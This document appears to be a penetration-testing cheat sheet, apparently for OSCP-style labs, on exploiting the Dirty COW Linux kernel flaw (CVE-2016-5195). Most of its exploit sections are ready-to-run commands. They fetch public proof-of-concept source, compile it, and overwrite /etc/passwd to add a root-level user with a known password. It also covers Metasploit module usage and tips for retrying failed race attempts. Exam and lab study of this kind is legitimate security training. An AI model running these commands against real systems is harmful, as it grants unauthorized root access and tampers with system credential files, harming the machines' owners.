Dirty COW — CVE-2016-5195
Ctrl+F:
Dirty COW·CVE-2016-5195·dirtyc0w·dirtycow· Copy-On-Write
Dirty COW — race condition in Linux kernel Copy-On-Write memory handling. Unprivileged user can write to read-only mappings → overwrite /etc/passwd, SUID binaries, etc. → root.
Very common on old lab boxes (kernel < 4.8.3, many 2016-era targets still in retired OSCP/lab pools).
→ Linux > 📌 9) Kernel Exploits · linux-exploit-suggester · searchsploit
📌 When to try
| Signal | Check |
|---|---|
| Old kernel | uname -r → 3.x / 4.x before 4.8.3 |
| LES / LinPEAS | Flags CVE-2016-5195 / Dirty COW |
| Stuck after sudo/SUID/cron | Kernel exploit last resort |
uname -a
uname -r
cat /proc/versionAffected: Linux kernel before 4.8.3 (Oct 2016). Distro backports may patch without obvious version bump — always test in lab.
📌 Reference links
| Resource | URL |
|---|---|
| timwr PoC | github.com/timwr/CVE-2016-5195 |
| Official PoC list | dirtycow.github.io/wiki/PoCs |
| dirtyc0w.c (classic) | dirtycow.github.io/dirtyc0w.c |
| FireFart auto-passwd | github.com/FireFart/dirtycow |
📌 Exploit — dirtyc0w (overwrite /etc/passwd)
Requires on target: gcc, pthread, often libcrypt (-lcrypt)
Kali — fetch PoC
wget https://github.com/dirtycow/dirtycow.github.io/raw/master/dirtyc0w.c
# or timwr variant:
git clone https://github.com/timwr/CVE-2016-5195.gitCompile & run (manual passwd line)
gcc -pthread dirtyc0w.c -o dirtyc0w -lcrypt
./dirtyc0w /etc/passwd "firefart:$(openssl passwd -1 -salt xyz firefart):0:0:pwned:/root:/bin/bash"
su firefart
# password: firefart
idFireFart — auto-generates root user (easiest on exam)
wget https://raw.githubusercontent.com/FireFart/dirtycow/master/dirty.c
gcc -pthread dirty.c -o dirty -lcrypt
./dirty
# Creates user firefart with generated password — read script output
su firefart→ File Transfer · openssl passwd
📌 Other PoCs (from wiki)
| PoC | Method | Notes |
|---|---|---|
| dirtyc0w.c | Read-only file write | ./dirtyc0w file content |
| cowroot.c / naughtyc0w | SUID binary inject | Needs writable SUID target |
| dcow.cpp | /etc/passwd | gbonacini/CVE-2016-5195 |
| MSF | exploit/linux/local/dirtycow | Metasploit module |
Full table → PoCs wiki
📌 searchsploit / MSF
searchsploit CVE-2016-5195
searchsploit dirty cow
searchsploit -m linux/local/40847 # verify EDB-ID on your Kali
# LES
./linux-exploit-suggester.sh -f uname.txt -s CVE-2016-5195use exploit/linux/local/dirtycow
set SESSION 1
run📌 Troubleshooting
| Problem | Fix |
|---|---|
| Race fails / no write | Re-run exploit (timing); try different PoC from wiki |
gcc missing | Compile static binary on Kali, transfer |
| Box unstable / panic | Kernel exploit risk — snapshot; try other vectors first |
| Patched kernel | LES false positive — move on |
📌 Quick cheat sheet
uname -r # old 3.x/4.x?
searchsploit CVE-2016-5195
wget https://github.com/dirtycow/dirtycow.github.io/raw/master/dirtyc0w.c
gcc -pthread dirtyc0w.c -o dirtyc0w -lcrypt
./dirtyc0w /etc/passwd "newroot:$(openssl passwd -1 -salt x pass):0:0::/root:/bin/bash"
su newroot📌 Alias check (Linux/bash)
alias
alias | grep -iE 'sudo|root|pass|su |chmod'Shell aliases may expose sudo shortcuts, paths to SUID binaries, or commands run as root — run on every Linux privesc pass.
→ Linux > 📌 1) Basic Manual Enumeration